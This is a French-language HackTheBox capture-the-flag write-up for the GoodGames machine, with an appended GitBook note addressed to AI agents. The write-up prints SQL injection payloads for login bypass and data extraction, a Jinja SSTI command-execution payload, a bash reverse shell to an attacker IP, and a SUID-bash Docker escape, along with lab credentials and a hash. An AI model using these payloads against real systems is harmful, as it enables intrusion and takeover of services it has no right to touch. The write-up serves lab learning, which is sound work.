> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md). # Compte rendu HackTheBox de GoodGames {% embed url="" %} {% hint style="warning" %} **Compétences :** * Exploitation des injections SQL basées sur UNION * Cassage de hachages avec des algorithmes faibles * Réutilisation de mot de passe * Exploitation de SSTI * Bases des échappées de Docker {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (80)

Analyse des versions des ports avec Nmap : Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p80 10.10.11.130 -oN targeted ```

Pour résoudre les noms de domaine en adresses IP via DNS, nous insérons le nom de domaine associé à son adresse IP dans le `/etc/hosts` fichier :

**Recherche de répertoires :** Nous utilisons Gobuster pour rechercher des répertoires sur le site : ```bash gobuster dir -u http://GoodGames.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 9265 ``` Nous trouvons un répertoire d'inscription.

## Vulnérabilité Injection SQL : En utilisant **Burp Suite**, nous pouvons intercepter la requête, ce qui nous permet de tester l'injection SQL.

### Injection SQL de base : Pour contourner l'authentification avec une simple injection, nous utilisons : ```bash admin ' or 1=1-- - ```

Ce type d'injection force la condition à toujours être vraie (`1=1`), ce qui permet d'accéder au panneau d'administration en contournant les vérifications d'identifiants.

### Injection basée sur UNION Avec une **SQL basé sur UNION** injection, nous essayons de déterminer le nombre de colonnes afin de structurer les requêtes d'une manière compatible avec la base de données. Exemple : ```bash admin' union select 1,2,3,4-- - ``` Le serveur renvoie une réponse indiquant un « login successful », montrant qu'il y a 4 colonnes.

#### Lister les bases de données Pour lister le nom de la base de données actuelle, nous utilisons : ```bash admin' union select 1,2,3,database()-- -&password=admin ```

Ensuite, pour obtenir toutes les bases de données disponibles : {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin ``` {% endcode %} Résultat : `information_schema`, `main`

#### Lister les tables Après avoir identifié la `main` base de données, nous listons les tables de cette base de données pour explorer les structures stockées : {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- - ``` {% endcode %} Tables trouvées : `blog`, `blog_comments`, `users`.

Lister les colonnes d'une table Pour la `users` table, nous listons les colonnes disponibles : {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- - ``` {% endcode %} Colonnes trouvées : `email`, `id`, `paramètre name`, `mot de passe`.

#### Extraction des données utilisateur Nous extrayons ensuite les données de la `users` table : {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- - ``` {% endcode %} UTILISATEUR : `Admin` E-MAIL : `admin@goodgames.htb` MOT DE PASSE (hachage) : `2b22337f218b2d82dfc3b6f77e7cb8ec`

### Déchiffrement du mot de passe Vous pouvez utiliser **CrackStation** pour déchiffrer le hachage MD5 obtenu et récupérer le mot de passe en clair. {% embed url="" %}

## Vulnérabilité SSTI : ### Accès à un sous-domaine Pour accéder à un sous-domaine administrateur découvert, ajoutez-le aux `/etc/hosts` .

Enfin, avec le **admin** identifiants, vous pouvez vous authentifier sur ce sous-domaine. `admin:superadministrator`

Dans le sous-domaine, vous trouverez un **Paramètres** onglet où vous pouvez modifier les informations de l'utilisateur admin (nom complet, date de naissance et téléphone).

Si, dans le champ « full name », vous tentez d'exécuter une attaque SSTI, le serveur est vulnérable. Pour tester cela avec `{{ }}`, essayons de voir s'il interprète le calcul : ```python {{1+1}} ```

Ensuite, nous exécuterons des commandes (par exemple, `id`): ```python {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} ``` Nous découvrons qu'il est dans le `root` groupe.

Nous allons créer un reverse shell pour accéder au serveur ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }} ``` Nous écoutons sur le port 443 sur notre machine d'attaque : ```bash nc -nlvp 443 ```

### **Drapeau : user.txt** :)

## Élévation de privilèges : Une fois que vous avez accès au serveur Linux, voici les commandes à exécuter pour travailler dans le terminal : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` Cela vous permettra de travailler beaucoup plus efficacement et, surtout, plus confortablement. ### Évasion de Docker : Nous observons que l'adresse IP n'est pas celle de la machine (IP de la machine : 10.10.11.130 ; IP du conteneur Docker : 172.19.0.2).

Nous allons analyser les ports manuellement, car `nmap` n'est pas installé sur la passerelle (172.19.0.1) : ```bash for PORT in {0..1000}; do timeout 1 bash -c "/dev/null" 2>/dev/null && echo "port $PORT is open"; done ``` Nous observons que le port 22 est ouvert (en interne), donc nous pouvons nous connecter via SSH. ```bash for PORT in {0..1000}; do timeout 1 bash -c "/dev/null" 2>/dev/null && echo "port $PORT is open"; done ```

Si nous essayons de nous connecter avec le compte root en utilisant le mot de passe `superadministrateur` nous ne pouvons pas nous connecter, mais avec `augustus` nous parvenons à obtenir un shell.

### Bash SUID depuis Docker Comme, dans le conteneur Docker, nous sommes root, nous copierons le binaire bash de l'hôte normal de la machine dans le répertoire personnel de `augustus`: ``` cp /bin/bash . ```

Depuis le root du conteneur Docker, nous autoriserons le groupe root pour ce fichier bash ainsi que les permissions SUID afin qu'il s'exécute en tant que root : ```bash chown root:root bash chmod 4777 bash ``` Nous retournons sur la session SSH et nous voyons : `-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

### **Drapeau root obtenu :)** `./bash -p`

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.